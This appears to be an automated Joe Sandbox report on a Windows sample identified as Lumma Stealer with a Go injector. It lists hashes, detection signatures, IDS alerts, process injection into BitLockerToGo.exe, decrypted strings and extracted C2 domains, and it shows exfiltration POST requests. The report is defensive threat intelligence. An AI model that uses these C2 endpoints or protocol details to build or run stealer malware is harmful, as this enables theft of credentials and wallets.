Edit tour

Windows Analysis Report
BW4pTs1x3V.exe

Overview

General Information

Sample name:	BW4pTs1x3V.exe renamed because original name is a hash value
Original sample name:	2fad7f1752f7c3f57c038bf09359093471523172c08572117eaba2556e859509.exe
Analysis ID:	1524036
MD5:	3677ebc159e92251f19020e9ab4b62ad
SHA1:	561483bb3f3ae9d384d21670f184a7c3fc9cf9c5
SHA256:	2fad7f1752f7c3f57c038bf09359093471523172c08572117eaba2556e859509
Tags:	exeGuizhouSixuandaTechnologyCoLtduser-JAMESWT_MHT
Infos:

Detection

LummaC, Go Injector, LummaC Stealer

Score:	93
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Go Injector

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

LummaC encrypted strings found

Sample uses string decryption to hide its real strings

Writes to foreign memory regions

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

BW4pTs1x3V.exe (PID: 1668 cmdline: "C:\Users\user\Desktop\BW4pTs1x3V.exe" MD5: 3677EBC159E92251F19020E9AB4B62AD)

BitLockerToGo.exe (PID: 6736 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["fragnantbui.shop", "gutterydhowi.shop", "vozmeatillu.shop", "dividenntykw.shop", "drawzhotdog.shop", "offensivedzvju.shop", "reinforcenh.shop", "stogeneratmns.shop", "ghostreedmnu.shop"], "Build id": "c2CoW0--advert22"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
BW4pTs1x3V.exe	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1885915924.000000C000506000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000000.00000002.1887668238.00007FF67D7C0000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
00000000.00000000.1452154530.00007FF67D7C0000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
Process Memory Space: BW4pTs1x3V.exe PID: 1668	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.BW4pTs1x3V.exe.7ff67ce60000.0.unpack	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security
0.2.BW4pTs1x3V.exe.7ff67ce60000.7.unpack	JoeSecurity_GoInjector_2	Yara detected Go Injector	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.335432+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49716	172.67.188.210	443	TCP
2024-10-02T14:55:32.267885+0200	2054653	1	A Network Trojan was detected	192.168.2.8	49718	172.67.209.193	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.335432+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49716	172.67.188.210	443	TCP
2024-10-02T14:55:32.267885+0200	2049836	1	A Network Trojan was detected	192.168.2.8	49718	172.67.209.193	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.551416+0200	2056156	1	Domain Observed Used for C2 Detected	192.168.2.8	60353	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.563128+0200	2056154	1	Domain Observed Used for C2 Detected	192.168.2.8	54180	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.371418+0200	2056162	1	Domain Observed Used for C2 Detected	192.168.2.8	49364	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.359107+0200	2056164	1	Domain Observed Used for C2 Detected	192.168.2.8	57693	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.383142+0200	2056160	1	Domain Observed Used for C2 Detected	192.168.2.8	59759	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.584440+0200	2056150	1	Domain Observed Used for C2 Detected	192.168.2.8	64498	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.573766+0200	2056152	1	Domain Observed Used for C2 Detected	192.168.2.8	63806	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T14:55:29.464436+0200	2056158	1	Domain Observed Used for C2 Detected	192.168.2.8	59623	1.1.1.1	53	UDP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://steamcommunity.com/profiles/76561199724331900	URL Reputation: Label: malware
Source: https://steamcommunity.com/profiles/76561199724331900/inventory/	URL Reputation: Label: malware

Found malware configuration

Source: 3.2.BitLockerToGo.exe.2cd0000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["fragnantbui.shop", "gutterydhowi.shop", "vozmeatillu.shop", "dividenntykw.shop", "drawzhotdog.shop", "offensivedzvju.shop", "reinforcenh.shop", "stogeneratmns.shop", "ghostreedmnu.shop"], "Build id": "c2CoW0--advert22"}

Multi AV Scanner detection for submitted file

Source: BW4pTs1x3V.exe

ReversingLabs: Detection: 60%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.3% probability

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: reinforcenh.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: stogeneratmns.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fragnantbui.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: drawzhotdog.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: vozmeatillu.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: offensivedzvju.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: ghostreedmnu.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: gutterydhowi.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: dividenntykw.shop
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp	String decryptor: c2CoW0--advert22

Source: BW4pTs1x3V.exe

Static PE information: certificate valid

Source: unknown	HTTPS traffic detected: 172.67.188.210:443 -> 192.168.2.8:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.8:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.193:443 -> 192.168.2.8:49718 version: TLS 1.2

Source: BW4pTs1x3V.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C000760000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C00079A000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000003.1875683062.0000023FE0C20000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000002.1886207178.000000C00080E000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C000760000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000002.1885915924.000000C00079A000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000003.1875683062.0000023FE0C20000.00000004.00001000.00020000.00000000.sdmp, BW4pTs1x3V.exe, 00000000.00000002.1886207178.000000C00080E000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 68677325h	3_2_02D15EB1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_02D15EB1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_02CDCF00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push 00000000h	3_2_02CF02C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], dx	3_2_02CF02C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ebx], ax	3_2_02CF02C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_02CF1280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_02CF1280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 54CA534Eh	3_2_02D17210
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 3BABA5E0h	3_2_02D13230
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi]	3_2_02CE20AC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_02D19060
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	3_2_02CD1000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, ebx	3_2_02CD1000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0716B6A2h	3_2_02D0E000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7D006057h	3_2_02D0E000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi]	3_2_02CE301B
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edx], 0000h	3_2_02CE51BD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	3_2_02D00140
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	3_2_02CDA110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, eax	3_2_02CDA110
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	3_2_02D19650
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	3_2_02D10670
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_02CF6630
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esi+edi]	3_2_02CDC7C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 7E28BDA7h	3_2_02D197E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_02D16720
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	3_2_02D16720
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000188h]	3_2_02D014D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_02CFE457
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	3_2_02D0E449
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	3_2_02D0E449
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push eax	3_2_02CE4471
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then xor eax, eax	3_2_02CE4471
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_02D1640A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000520h]	3_2_02D03430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_02D03430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	3_2_02D17430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	3_2_02D13430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then inc esi	3_2_02CD6420
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi]	3_2_02CE2431
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	3_2_02CEA590
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 77A9E0C4h	3_2_02D0EA50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	3_2_02D01A32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+68h]	3_2_02D01A32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_02D01A32
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movsx esi, bl	3_2_02CDCA20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	3_2_02CFFA20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add eax, edi	3_2_02CF8BC3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_02CECBE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_02CF8BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_02CF8BE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_02D188F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_02CF88F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	3_2_02CF88F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_02CF6890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	3_2_02CDD860
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ecx], al	3_2_02D019D9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_02D039C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_02D039C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_02D039C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+68h]	3_2_02D039C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_02D02994
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_02D02994
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	3_2_02D02994
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+68h]	3_2_02D02994
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	3_2_02CD59A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 81105F7Ah	3_2_02D19960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	3_2_02CD4970
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	3_2_02D15EC4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [02D21244h]	3_2_02CFDE01
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 0633C81Dh	3_2_02D13E30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_02D12F90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	3_2_02CECFA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_02CF7FA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp]	3_2_02CF7FA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ebp+edx*4+00h], ax	3_2_02CDBCD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, ecx	3_2_02CE4CF8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then xor eax, eax	3_2_02CFADC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp byte ptr [ebp+ebx+00h], 00000000h	3_2_02CFCD80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [esi], ax	3_2_02CEEDAD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	3_2_02D09D50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 1B788DCFh	3_2_02D12D50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0633C81Dh	3_2_02D17D00

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.8:60353 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056158 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop) : 192.168.2.8:59623 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056160 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop) : 192.168.2.8:59759 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056164 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop) : 192.168.2.8:57693 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056152 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop) : 192.168.2.8:63806 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056162 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop) : 192.168.2.8:49364 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056150 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop) : 192.168.2.8:64498 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2056154 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop) : 192.168.2.8:54180 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49718 -> 172.67.209.193:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49716 -> 172.67.188.210:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49718 -> 172.67.209.193:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49716 -> 172.67.188.210:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: dividenntykw.shop
Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: reinforcenh.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop

Source: Joe Sandbox View

IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: dividenntykw.shop
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gravvitywio.store

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
